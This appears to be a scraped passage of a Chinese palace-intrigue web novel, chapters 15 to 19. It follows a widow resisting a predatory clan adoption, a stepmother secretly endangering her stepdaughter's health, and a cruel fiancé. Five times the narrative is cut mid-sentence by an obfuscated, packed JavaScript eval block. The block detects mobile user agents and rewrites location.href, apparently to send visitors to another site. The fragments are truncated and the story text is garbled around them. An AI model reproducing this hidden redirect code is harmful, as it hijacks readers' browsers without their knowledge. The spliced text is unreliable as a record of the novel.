贺族长又介绍：“这是庆全家的两个娃娃，大的叫保柱，今年八岁了。小的叫保成，才两岁。” 那个叫贺保柱的孩子生得很是壮实，瞧着性子也格外顽皮。一进贺家宅院，便四处张望。此时已从他母亲手中挣脱出来，在院子里这摸摸那翻翻，又跑到院门口，要爬到那那影壁上玩。 只玩了一会儿，又爬了下来，自己跑到墙角便撒起尿来，门房老田忙跑过去想制止他：“小少爷，不可乱尿，茅厕在这边……“ 只是话音未落，那孩子已经尿完系裤带了。 贺族长一家人也颇习以为常的样子，浑不将这当回事。 贺太太脸上挤出的笑快要撑不住了，勉强道：“外头日头大，不如咱们去屋里坐坐。” 一行人进了屋子，贺保柱便自己先寻了一个椅子爬上去盘腿坐着。 贺太太见他如此不知礼，面色更僵。毕竟不好跟一个孩子计较，她按捺住心情，招乎贺延年一行人入坐。 几人分主宾落坐，刘妈妈又上了茶。到了贺保柱跟前，不待她说，那孩子竟要自已伸手往茶盘里抓。吓得刘妈妈赶紧拦他：“茶水烫，少爷小心！” 族长太太张氏这才起身拦他：“快住手，别烫到了！” 见贺保柱缩回手，马上笑咪咪道：“保柱乖，真是听话。” 刘妈妈挤出个笑脸，收了茶盘，立在贺太太身后。 贺族长便道：“弟妹，你也看到了，庆全家的老大，年方八岁，身体健壮，为人也极是聪明。我想着，把他过继给仲珩侄子，是再合适不过了。“ 贺太太不由一滞。 虽说她安慰自已，儿子如今没有消息也是好事儿。实则心里也明白，儿子只怕是凶多吉少。夜间无人，她也曾思量过将来，的确想过替儿子过继个孩子的。一是继承香火，叫儿子将有人祭扫；二来，也是为着自己百年考虑。 但她想的却是过继族中孤儿， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922732|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再不济，也是要选年龄小，一两岁为佳，家中贫苦却又子嗣众多的，自己抱过来养，这样才能养得亲。 八九岁的孩子，却哪里还能养得熟了？更不用提是族长家的，这样就算是抱回来，也跟他亲生父亲断不了关系，这还过继个什么？ 贺太太沉默下来，右手不自觉地摩挲着官帽椅的扶手。 族长太太张氏见贺太太脸色不好看，忙笑道：“也不是我们有什么旁的想法，俗话说，举贤不避亲嘛，自家孩子知根知底，才放心交给弟妹。若是那来路不明的，或者身上有什么暗疾的，过继给仲珩，这不是给弟妹招麻烦嘛！” 这话说得也有几分道理。贺太太面色稍稍和缓了几分。 陈氏也帮腔道：“婶子你看，咱们家保柱，就是性子活泼，身子骨可皮实了。” 贺太太违心附合道：“倒确实是个活泼孩子……” 只是也太活泼了些。这个性子，着实不叫贺太太喜欢。 谁料张娘子却又张口道：“唉，这孩子活泼是活泼，可是照料起来也是费劲，这么个皮猴子，管起来可麻烦得很！” 陈氏忙道：“这有什么！我瞧婶子平素里日子也是过得金贵，怕也没有力气管这皮猴子。总归我跟当家的也没什么事，索性过来，帮婶子照顾一二也是使得的。” 这婆媳俩一唱一合，听得贺太太心中一凛，终于认认真真地看着对面这家人。 那贺族长的小儿子贺庆全，一双眼睛正四处扫视，端详这屋内情景。贺族长稳稳坐在对面，面色和煦。张娘子也是满脸堆笑，一双眼睛盯着自己，殷切之情溢于言表。陈氏一边哄着怀里那个小儿子，一边也不忘拿眼看自己。 贺太太的心慢慢沉了下去，勉强笑道：“孩子是好孩子。只是，他已经八岁了，是不是年龄有些大了？” 张娘子与陈氏对氏一眼，张娘子便笑道：“弟妹若是嫌保柱年龄大，那过继他弟弟保成也成。” 贺太太定了定神，道：“仲珩如今生死未卜，还没有定论。过继一事，却不必这么早定下。” 那贺庆全一听这话，当即便直着身子，支愣着脖子嚷起来：“北漠那地方……” 只话没说完，贺族长一个眼风扫过去，他立时住了嘴，缩回椅子里不吭声，只是那神情颇有急色。 贺族长这才转头，对贺太太和蔼笑道：“弟妹说得有道理，我也就是把孩子带过来给弟妹瞧瞧。再者，香火延续是大事，自该好生思量。弟妹不妨好好想两天，过几日我们再过来看弟妹。” 16. 第 16 章 过继香火，承兆宗嗣是大事，不能轻下决断。贺太太并不是那等无知庸碌、万事只由着别人做主的妇人。奈何她因儿子过世，这段时间伤心过度，心神交瘁，实在无力费脑子思量。虽说不喜族长一家人的作派，可一时之间，竟也没有什么好办法。也只得回了娘家求助。 贺太太父亲徐东昌一年前过世，他原本是有名的大儒，后在京中办了个梅山书院，于士林中倒颇有些名望。母亲杨氏，年轻时亦是闺阁之中有名的才女。 贺太太的大哥名叫徐正阳，原本是中了进士，进了翰林院做编修。后来因父亲年事渐高，无暇主持书院，他便辞了官，接替父亲做了书院山长一职。如今在家守孝。 贺太太因母亲年事已高，不欲母亲再为自已忧心，便将贺家族人一事只悄悄告诉了兄嫂。 徐正阳还未说什么，叶氏却抢先气道：“妹子，贺家人，这是要吃绝户啊！” 她满面怒容：“过继个嗣子，竟还要嗣子的爹娘一起过来。他们一大家子和乐融融的，那这个家，到底是你的家，还是他们的家了？” 贺太太本不是那愚笨的人，只是她先前一直为儿子悬心，总着那万分之一的期盼，想着或许儿子还能回来呢。 对贺族家一家的态度便不是十分上心，是以竟未往这个方面想。 此时被嫂子点明，登时反应了过来：“是，族长他们家，实是心存不良。” 她只觉得心中又是愤怒又是伤心：“真是，知人知面不知心。仲珩父亲还在的时候，贺三哥他们一家，对上我们，从来都是恭敬知礼的。再想不到，他们父子一走，这些人竟就换了副嘴脸。” 正是从前贺延年一家态度太好了，是以她竟未将他们往坏处想，是以反而没有叶氏这个局外人看得清。 徐正阳淡淡道：“世态炎凉，也是常情。” 只是贺氏族人要是觉得他妹子没了倚仗，便能由着他们欺凌，便是打错算盘了。 他又提及过继一事，道：”便是，便是仲珩真有万一，也绝不能要他家孩子。” 单听妹子这描述，便知那一家子的品性不端，妹婿外甥皆是品行端方皎如日月之人，绝不能给外甥过继这样的嗣子，败坏妹婿家的名声。 他想了想，唤贺太太的名字：“其蓁，其实若只是为仲珩继个香火，倒不必这么着急过继子嗣。嗣子一事，需得慎之又慎。若只求急，贸然过继个子嗣，遇上那等人品不好的，反而是给自己招祸。 你如今有我跟你嫂子照拂，你那两个侄子，性子也算敦厚老实，将来必能孝顺你。颐养天年之事，自有他们。 不若先这么着，总归你在，仲珩跟他爹便有香火。待你年纪大了，再过继个嗣子，既延续宗嗣，又不必担心嗣子不孝，如此倒更稳妥些。” 徐正阳这番话在情在理，叶氏也赞同道：“是这个道理。人心隔肚皮，过继个好的倒罢了，若真是个不好的，那真是给自己惹麻烦上身。” 贺太太先前一心只忧心儿子断了香火，却从未想过自己的日子要如何。比起不知品性的嗣子，她自然更相信亲近自己的娘家人。徐正阳既说了会照应她生活，那过不过继，当下确实不必考虑。便点头应了兄长的安排。 过继之事暂缓了，贺太太又想到儿子，至今尸骨都未找到，不由又是一阵伤心，拭泪道：“可怜我儿仲珩，如今还身在异乡，家都归不得。只盼这回朝廷派兵去北边，好歹能将我儿的尸骨带回来！” 朝廷往北漠派遣使团，本欲修两国之好，开启互市，却不想遇上北漠大王子叛乱，使团成员，一人重伤，三人死亡，其中一个连尸骨都未寻到。 消息传回京里，朝野震怒。内阁与兵部连夜商讨了两日，便定下派兵去北漠问责。天朝上国煌煌之威，岂容边夷蛮族侵犯。况且，北漠刚经过一番动乱，新王上位未久，各部势力还没有完全整合，此时却是最好的进攻时机。 派兵征讨北漠是必定的事情，领军人选乃如今镇守北疆的榆宁总兵，镇北侯郭通。郭老将军是多年镇守北关的老将，对阵北漠经验颇丰。由他任主帅再合适不过。 只是这只是这钦定的钦差征北将军副使人选，却一时未定。 顾世衡坐在书房里，跟几个幕僚商议此次征北事宜。 一位姓杨的幕僚略带激动之色道：“侯爷，我今日见过四殿下府中的乔长史，据他言，侯爷已是征北副使的人选之一。这几日，侯爷不妨多去拜访一下四殿下，务必要让四殿下知道侯爷的雄才，荐举侯侯爷！” 顾世衡轻抚下颔，对杨先生的话深以为然。 他如今任着燕直卫指挥使，领外城防卫职责。听着也是个好差使。可京中防卫，内有禁卫，外城有三大营。燕直卫也就是国朝初期当用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922733|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，后来便渐渐被西山锐健营，南路骁骑营以及京直虎贲营三路营防取代，如今也就是留个虚名而已，里面的各种统领，也多是一些才具平平的勋贵。 遥想当年，他也曾是踌躇满志，心怀抱国之向的英伟男儿。只可惜，刚入仕不久，便遭逢元亨之变。 多少煊赫张扬的显贵之家，朝夕之间便是家毁人亡，门庭败落。那时他深感天威之难测。之后的日子里便谨小慎微，从不敢去做那出头的椽子。如此多年过去，虽得以保全自身，可仕途之上却也是不温不火，未尝有建树。 如今年华渐逝，他却是有些可惜自已满腹韬略，不得施展。是以，他才托人搭上了四殿下的门路，以期还能再做出番事业出来。 如今这出使北漠的差使便是极好。虽说是要打仗，可是一则上头还有郭将军这员老将，再则北漠疲弱多年，此时绝无能力与大周相抗，自已又不缺文韬武略，想打赢此仗真是轻而易举。 顾世衡越想越觉得满意：“杨先生此言不错。这两日，我就再去拜访一下四殿下。” 又商议了一会儿细节，几位幕僚方告辞离去。 幕僚才退片刻功夫，庄夫人便过来，拿着一张帖子，问顾世衡的意见：“今儿个收到高家的帖子，道是后日休沐时他家摆宴。侯爷到时候一同去？” 顾世衡点点头：“姻亲之家，我们也理当阖家同去。” 他想了想，又吩咐庄夫人：“这回赴宴，礼物再加厚两成。” 自已的差使若是不谐，说不得还需高景川在四殿下跟前美言几句。既如此，提前示好便很必要。就是这回用不着高家，两家是姻亲，送厚礼过去也不突兀。 庄夫人不知顾世衡的打算，可顾世衡对高家看重的态度却叫她分外不喜。 她不由抱怨：“我们是女家，自该矜持，哪有上杆子讨好男家的！” 顾世衡不耐道：“你懂什么！高景川如今在四殿下跟前颇有体面，他家长女听说也有了身孕，我们本就是姻亲，礼重些，以示亲近，也属正常。” 这个庄氏，每有正事，便目光短浅，分不清孰轻孰重。从前便是如此，到现在依旧没有甚么长进。 顾世衡不想再应付她，淡淡道：“行了，时候也不早了。我今日还歇在书房。” 庄夫人听他明明白白地逐客，心中羞怒，可也无法，悻悻而去。 17. 第 17 章 回到明慎堂，庄夫人胸中那口浊气仍未散去。 顾世衡方才的话犹在耳畔——高家正得四殿下青眼，女儿又怀了皇嗣。陛下年事渐高，若将来……高家岂非还能再出一位宫妃？ 这顾姝，倒真是好命。 念及这个继女，方才在顾世衡处受的闷气仿佛骤然寻到了出口。回想秋宴上韩氏那关切的神情，庄夫人唇边翘起一抹阴冷的弧度。 只是想到顾侯，她又不免迟疑。面上神色几番变幻，终还是化为决绝。不过叫那丫头再吃些苦头罢了，高家断不会为此退亲。只要亲事不退，侯爷便不会深究。 有些路，既已踏出第一步，再行第二步，便就容易得多了。 她低声唤来高妈妈：“去把烟云叫来……” 夜半，弦月如钩，挂在枯枝梢头。 一阵秋风掠过，树影乱摇，映得烟云的心也跟着晃荡不休。 她只觉得浑身发冷，仿佛浸在腊月冰河中。上回被高妈妈逼着做那事，她提心吊胆了整整半月。幸而大姑娘未曾察觉，她只当风波已过。谁知竟还有第二回！ 可既已沾了手，这一次，便由不得她不做了。 烟云颤巍巍伸出手，推开了窗。 冷风猛地灌入，劈头盖脸打在她身上。烟云一个哆嗦，只觉得那风直钻进骨头缝里，凉透心底。 “烟云，”室内忽然响起顾姝的声音，“你开窗做什么？” 烟云浑身一颤，险些惊叫出声。她死死咬住嘴唇，半晌才强作镇定道：“屋里有些闷……奴婢想透透气，一会儿就关上。” 顾姝只“嗯”了一声：“天凉，透会儿气，便赶紧关了吧。” 烟云慌忙应下，抖着手合上窗，一步步挪回脚榻边躺下。 她是否睡得着，顾姝已无心理会——自己却是再无睡意了。 因着明日要去高家赴宴，顾姝不免想起园子里与高晏那回见面。高晏面上虽从容自若，可他掌心那黏腻触感，却似毒蛇般缠绕在记忆里，令人遍体生寒。 正心绪纷乱间，忽听得开窗声响，她才下意识问了一句。 可问出口的刹那，往事倏然涌上心头——上回病倒前夜，似乎也曾听见窗户有响动。 且那次发病，恰也在高家登门前几日…… 这未免也太巧了。 顾姝呼吸平稳绵长，思绪却如愈来愈清明。她平日待下人宽厚，兼着烟云是母亲派来的，更是格外看重几分。与烟云绝不可能有私怨，那烟云为何屡次暗害？又为何总选在与高家往来前夕？ 也只能是听从继母的安排了。 庄夫人就这般容不下她这门婚事么？ 顾姝静望帐顶繁复的纹样，眸中一片冰寂。今夜，怕是难有安宁了。 次日清晨，烟霞见到顾姝的脸色便是一怔。 一夜未眠，容色自然憔悴。顾姝抬手止住烟霞欲言又止的神情，只由着她伺候梳洗。另一侧，烟云始终垂首整理衣饰，刻意避开了近前服侍的差事。 顾姝冷眼瞧着，心中已明了七八分。梳妆时，她忽抬眼看向烟云：“瞧你今日精神不济，今日便留在府中休息吧，让烟霞随我去高家便是。” 烟云猛地抬头，正对上铜镜中顾姝平静的侧影。她心中一慌，忙道：“奴婢不敢躲懒……” 顾姝却笑了：“你这丫头，我是体恤你昨夜没睡好，倒成我的不是了？”语气温煦如常，听不出半分异样。 烟云暗松口气，赔笑谢恩退下。只是转身时，未曾看见顾姝眼底的冷意。 片刻后，庄夫人看着前来请安的顾姝，目光扫过一旁神色惶惶的烟云，笑得格外慈和：“快些用膳吧，稍后便该动身了。” *** 忠毅伯府。 本朝爵位矜贵，除开国功勋外，后人想再挣个爵位可谓千难万难。虽说忠毅伯从前是侯位，如今不过是伯位，可也是得天之幸了。加之长女早入四皇子府，眼下更是京中炙手可热的新贵。 至于嫡长子高晏，相貌俊美，亲事未定，不知引得多少人家暗中瞩目。顾家这般阖府赴宴，倒也不显突兀。 韩夫人含笑相迎，目光触及顾姝微显憔悴的面容与眼下淡青时，心底不由一沉。 这位顾大姑娘，莫非真是先天不足？见她三回，竟有两回是这般病弱模样。 她心中疑虑丛生，面上却不露分毫，依旧殷勤将人引入内院。 顾姝一个晚上没有睡好，强撑了半日，至午宴后已觉难以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922734|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继。此时宾客四散游乐，园中投壶、叶子牌、小戏台各处喧阗。烟霞见她神色疲惫，低声问道：“姑娘可要寻处厢房歇息？” 顾姝摇头：“不必兴师动众。寻个清静处略坐坐便好。” 这等宴会，都会准备临时休息之所，不过多是年长妇人，或者有人临时不适，过去休息一阵。似顾姝这样年纪轻轻的小姑娘，大喇喇说过去休息，实是不太合适。 烟霞亦是明白，便取了顾姝的披夫，跟顾婕等人说了一声，主仆二人悄声离席。 高家的宅子亦是封了伯爵之后御赐的，许多地方还能看得出新整修的痕迹。 行至一片竹林掩映处，见得假山下有一凹洞，恰可容身避风。顾姝驻足道：“我在此歇片刻，你在外头守着。” 烟霞应声守在山石入口处。顾姝拢紧披风，倚着冰凉石壁阖上眼。 这假山里头虽偏僻，到底宴上人多，外头的脚步声断断续续总未停过。顾姝也不在意，只阖眼假寐，想攒些下午的精神。 又是一阵脚步声渐近——轻细碎密，该是个丫鬟。 偏偏此时，相反方向也响起了另一道足音。落步略沉，又颇为急促。 接着便是衣料窸窣的轻微擦碰，随即一声“呀”的女子低呼。 顾姝睁开眼。身旁的烟霞也已警觉直身。 烟云正要探出去看，外头已传来一道不耐的呵斥：“贱婢！” 话音未落，便是闷闷的“砰”一声——像是脚重重踹在人身上。随即响起女子极力压制的痛吟，短促，又发颤。 烟云回头望顾姝，顾姝只微微摇头。 外头那丫鬟的声音带着哭腔，又低又急：“奴婢该死，冲撞了少爷……少爷恕罪！” 男子只冷冷一哼。 之后便是急促的脚步声，渐行渐远，重重碾过石子路，终至不闻。 假山内外，一时只剩风过竹叶的沙沙声。方才那声闷响，却似还凝在空气里。 顾姝与烟霞对视一眼，皆从对方眸中看见了来不及掩饰的讶然。 顾姝心中却更是惊骇。方才那男子，只说了两个字，因外头是竹林，风声沙沙不绝，她听得不甚真切，但却总觉得那声音有点像是她的未婚夫，高晏。 18. 第 18 章 假山内一时静得发沉。顾姝睡意全无，一颗心直往下坠，仿佛浸进了腊月寒潭里。她沉默片刻，才轻声对烟霞道：“你出去看看。” 烟霞应声出了山洞。 顾姝独坐石影之中，耳畔传来外头细微的动静。先是衣裙窸窣，料是烟霞俯身搀扶；接着便是她刻意放柔的声音：“这位姐姐怎么了？我方在假山里歇息，听见外头似有声响……” 那丫鬟声气微弱，带着忍痛的颤音：“多谢姑娘……我歇一歇便好。” 烟霞试探着问：“方才那是何人？怎地这般……” 话音未落，那丫鬟已是慌张道：“并无甚么人，是我自已不小心摔倒了……” “姐姐何必遮掩，我都听到了。再说了，纵是主子，也没有这般动手的道理！”烟霞话音里透出几分不平。 不知这话是不是触动那丫鬟的伤心之处，顾姝便听烟霞的惊呼：“姐姐，你莫要哭。” 那丫鬟断续的抽泣的声音传来。只烟霞再问她，那丫鬟却只是摇头，再不肯多说一个字。 烟霞也不多问，只是低声劝慰。 又过了片刻，那丫鬟渐渐止了抽泣，又道谢：“多谢姑娘宽慰，我还在差事在身，却是要走了。” 接着便是一阵悉索之声，似是在勉力撑身。 两人客气辞别，而后，便听得那丫鬟的脚步声远去了。 待那脚步声彻底消失，烟霞才转回假山，面色凝重地看向顾姝：“姑娘……”她顿了顿，声音压得更低，“那位姑娘瘫在地上，竟是半天都起不来身……她方才挨那一脚，着实狠重。” 顾姝神色沉静，眼底却凝着寒霜。 高家进京不过月余，除却几位得脸的管事，底下仆婢多是新采买的，今日宴席间便能瞧出，规矩气度尚生涩。京中诸人多有体谅——初来乍到，能张罗出这般场面，已见韩夫人治家有方。 可纵是奴婢礼数不周，无心之失，又何至于此？当胸一脚，竟将人踹得倒地难起。 虽然那丫环口称少爷，只是，来往的客人，也都可称一声少爷。所以，方才那人，究竟是不是高晏？ 高晏却并未将方才被自已踹了一脚的小丫鬟放在心上。他步履匆匆转过竹林，早有小厮在僻静处候着：“大公子，顾三姑娘正往这边来。方才与她同行的小姐已被引开，如今身边只跟着一个贴身丫鬟。” 高晏展颜笑道：“办得妥当，回头自有赏。” 说罢整了整衣冠，疾步向前走去。 自上次顾家秋宴相遇之后，顾嫤的倩影便在他心头挥之不去。今日这场宴会，他早早就命人留意着顾嫤的行踪。 至于顾姝——既是已定下的未婚妻，便如案上鱼肉，早晚是他的，倒不必急于一时。眼下，先会一会这顾三姑娘才是要紧。 前方已见那道窈窕身影。高晏加快脚步赶至顾嫤身侧，故作惊喜道：“顾三妹妹，竟在此处相遇，真是巧了！” 顾嫤辨出是高晏的声音，眼底掠过一丝嫌恶，转身时却已化作嫣然笑意：“咦，高公子怎会在此？” 高晏凝视着她，声音刻意放柔：“你我两家既是世交，三妹妹何必见外？唤我一声高大哥便是。” 顾嫤垂首，颊边恰到好处地晕开一抹羞色：“高大哥。” “哎。”高晏含笑应了，又温声道，“按说三妹妹头一回来，我该尽地主之谊，带你好好逛逛这园子。只是这宅子赐下不久，我终日不是读书便是习武，搬来许久竟还未曾细细游赏过，连自家园景都未认全呢。” 顾嫤笑吟吟接话：“高大哥如此勤勉向学，实在令人敬佩。” “不过寻常习惯罢了，当不起三妹妹夸赞。”高晏口中谦辞，目光却未曾离开她半分。 顾嫤心中冷笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922735|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，面上仍挂着甜笑：“高大哥，我原是与柳家姐姐同来的。方才有人说拾到她的珠花，我与她约好在此处等候，怕是不能陪高大哥说话了。高大哥还请自便。” 高晏却道：“我身为主人家，岂有丢下客人独处的道理？不若我在此陪三妹妹一同等候？” 顾嫤心中恚怒：她一个未出阁的姑娘，与名义上的未来姐夫在此单独相处，成何体统？这人当真不知分寸。可面上笑意却愈发娇媚：“高大哥快别说笑了。今日宾客众多，怎好劳您一直在此相陪？” 高晏目不转睛看着她：“我并无他事，便是陪三妹妹片刻，也是无妨。” 顾嫤白了他一眼：“可是等下柳姐姐过来，看我跟高大哥在一起，过后还不知道要如何取笑我呢！高大哥是故意要害我被人说笑么？” 她本就生得明艳，此刻眼波流转间似娇似嗔，看得高晏心神荡漾，几乎难以自持。口中忙不迭应道： “我走，我这就走，绝不让三妹妹为难。”，嘴上这般说，脚下却仍流连不去。 顾嫤轻轻一跺脚：“高大哥若再不走，我可真要生气了！” 高晏这才连连作揖，一步三回头地离去。 待他走远，丫鬟秋照方蹙眉低声道：“这高家公子好生鲁莽无礼。”她家姑娘一闺阁千金，何需他一个外男作陪？ 顾嫤面上笑意尽褪，只剩一片冰寒：“顾姝那般惹人厌，她的未婚夫又能是什么好东西！”语声顿了顿，又道，“走，咱们寻柳姐姐去。” 主仆二人迤逦而去，并未察觉远处凉亭中，庄夫人正遥遥望着这一幕。 虽听不清二人言语，但见女儿笑靥如花、高晏殷勤周旋之态，庄夫人心中已有了计较。再看那二人立于秋光竹影间——一个俊朗风流，一个娇艳明媚，真真是一对璧人。 庄夫人凝视良久，眼底渐渐浮起深沉思量。 19. 第 19 章 自高家赴宴归来，顾姝便一直想寻父亲言说烟云之事。只定远侯这阵子似乎格外繁忙，每日皆是深夜方归。清晨又要上朝，竟是一边七八日，都未寻到相见之机。 这日，顾世衡方到家，便有丫鬟来报：“大姑娘求见。” 他略一沉吟：“请她进来。” 踏入书房，看着周遭陌生的布置，顾姝才忽然意识到，长到这般年岁，这竟是她第一次走进父亲的书房。 随之浮上心头的，是另一个更加清晰的认知：非但这个书房陌生，便是跟父亲这般单独相处的情形，亦是极少有过。 平日与父亲相见，不是在庄夫人所居正房，或者阖家宴席之中。 在这个从未踏足过的书房，与父亲单独相处，于她而言，竟是极为生疏的体验。 顾世衡正坐在书案后，见她进来，神色颇为温和：“姝儿来了？你今日寻我是为何事？” 见父亲这般一如既往的慈爱态度，顾姝那陌生的不适感登时飞去。 她走上前，唤了声：“父亲”。 待要说烟云之事，话到唇边却滞住了。 自已这般年纪，连个丫环都辖制不住，还需劳动父亲出面，实在有些难以启齿。 可转念想到，烟云是继母所派，自己也确实不便擅自处置，又觉得寻父亲才是明智之举。 她暗暗吸了口气，将夜间烟云开窗之事细细道来，连同上回生病时的疑窦亦是一并说出。 顾世衡的眉头随着她的叙述渐渐蹙紧。 待顾姝说完，他沉声问道：“你前次生病，乃是烟云夜间开窗所致——此事你可能确定？” 顾姝思忖片刻，终是摇头：“并不能。” 她解释道：“她那回开窗，我睡得迷糊，并不清楚发生了何事。便是病了，也只当巧合。直到这回，我亲眼见烟云开窗，才将两件事想到一处。” 顾世衡微微颔首，沉吟道：“那第二次夜里，你之后可又见她再开过窗？” 顾姝还是摇头：“没有。我那一晚都不曾睡好，知道她后头并未再动。” “既如此”，顾世衡看着她，“单凭这两桩，便断定烟云有意害你，却实是有些捕风捉影了。” 顾姝一怔，张口欲辩，却一时语塞。 顾世衡话锋一转，语气仍缓：“自然，无论有心还是无意。你病了，便是丫鬟没有伺候好，就该责罚。只是这些内宅之事，你可曾告诉过你母亲？” 顾姝愈发迟疑。 烟云本就是夫人指来的丫鬟，她母亲更是庄夫人的陪房。此事如何能去向庄夫人言说？ 她踌躇半晌，低声道：“父亲，烟云毕竟是母亲给我的丫头……” 顾世衡的脸色倏然一沉：“你这话是何意？莫非竟疑心到你母亲头上？莫说此事本就是你自家猜测，未必为真；即便属实，也是这个丫头自己心存歹念，你怎可因些捕风捉影之事，便对长辈妄加揣测？” 顾姝自幼极少受父亲这般责备，一时之间面红耳赤，慌忙辩解：“不是我对母亲不敬，只是平日里从不曾薄待过烟云，实是想不出她为何如此，故而才有此想法……” 顾世衡摇摇头，叹道：“你母亲性子素来和善。从前纵有过一回疏漏，她也说是个误会，我也是严词训诫过。自那之后，她待你更是周到细致。你前次生病，她还特意找人寻了药材给你补身子。这些好处你不记得，反而因些无凭之事，便疑心起她来。这岂是为人子女该有的道理？” 顾姝哑口无言。明面上，庄夫人确实待她挑不出什么错处。至于那些细微之处的机心，若真摊开来说，反倒是显得自己心胸狭窄、不敬尊长。 顾世衡却又道：“如今高家进京，你与高晏的婚事已在筹备。你母亲正为着你的婚事操劳，你却这般想她，实是不该。将来到了婆家，若遇到些没头没尾的小事，也这般胡乱猜疑，日子如何过得？别人又要如何看待我顾家女儿的教养？” 这话字字在理。顾姝一时间面红耳赤，垂首道：“父亲教训得是，是女儿想岔了。” 顾世衡语气稍缓：“那个丫头，叫烟云是吧，伺候不周，本该责罚。可她是否存心害你，尚无实据。若是你梦中恍惚，错怪了她，岂不冤枉？咱们家待下人素来宽厚，便是有惩戒，也需有理有据才是。你一个姑娘家，若叫旁人说你性子刻薄，也不是好事。以后你且多留心些，若那丫头真是品行不端，再处置也不迟。” 被父亲这般一说，顾姝对自已先前的推断也动摇起来。如此看来，父亲的处置竟似更合情理。 顾姝再无话可说，起身行礼：“是，父亲。” 从厚德堂出来，天色已是黑透。 夹道右侧，园中枝桠张牙舞爪探出，在夜色里投下入片片狰狞阴影。 一只栖于枝头的夜枭被惊起，扑棱棱展翅飞去，转瞬没入黑暗之中，再不见踪迹，只余咕咕低鸣在风中回荡。 烟霞提着灯笼，不由抖了抖肩：“这叫声，听起来可真是瘆人。” 顾姝却无心应和。冷风扑面，她的心神也为之一清。回想方才的对话，她总觉有哪里不对，可那不对劲之处又如雾里看法，似真似幻。 父亲的话仍在耳畔回响：“姝儿，非是我不替你作主，只是，朝廷刚任命我为钦差征北将军，为着前次使团遇害之事，讨伐北漠。如今马上要出征，实在没有空闲。你且再观察那丫头些时日。待我从北疆归来，再与你处置此事，如何？” 顾姝长长吁出一口气。 是了。父亲素来仁厚，自然不会因着无凭无据之事，去冤屈好人。何况，父亲如今正值军务倥偬之际，自已这些内宅琐事，又怎能再叫他劳神。 那个烟云，就且再看她一段时日罢。 园中又传来夜枭的咕咕叫声，似讥似叹，只一阵风吹过，这声音便又沉入暗夜之中。 晚饭后，顾世衡破例未回厚德堂。庄氏心中欢喜，忙叫人奉上香茶。 顾世衡却摆了摆手，屏退左右。 庄氏见状，心中更是欢喜。她自是知道顾世衡方领了皇命，要派去北漠之事，只当顾世衡有事嘱托，便笑问：“侯爷可是有什么吩咐？” 顾世衡神情淡淡：“姝儿说她的丫头夜里开窗，害她生病。这是怎么回事？” 庄夫人呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922736|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸一滞，没想到他这个时候忽然问起此事。 她强笑道：“侯爷说什么呢，什么开窗……” 心中却是暗恨顾姝竟将这等小事捅到侯爷跟前。 顾世衡瞥了庄氏一眼，眼底掠过一丝不耐：“究竟有无此事？你若不说，我便直接拘那丫头来问。” 庄氏出身平平，顾世衡面前向来做小伏低。见他提起烟云，只瞒不过，当即委屈示弱：“侯爷……妾身实是一时糊涂，气不过才……求侯爷饶过这一回罢！” 顾世衡素喜庄氏相貌妩媚，性子柔顺，见她认了下来，脸色稍缓：“细细说来。” 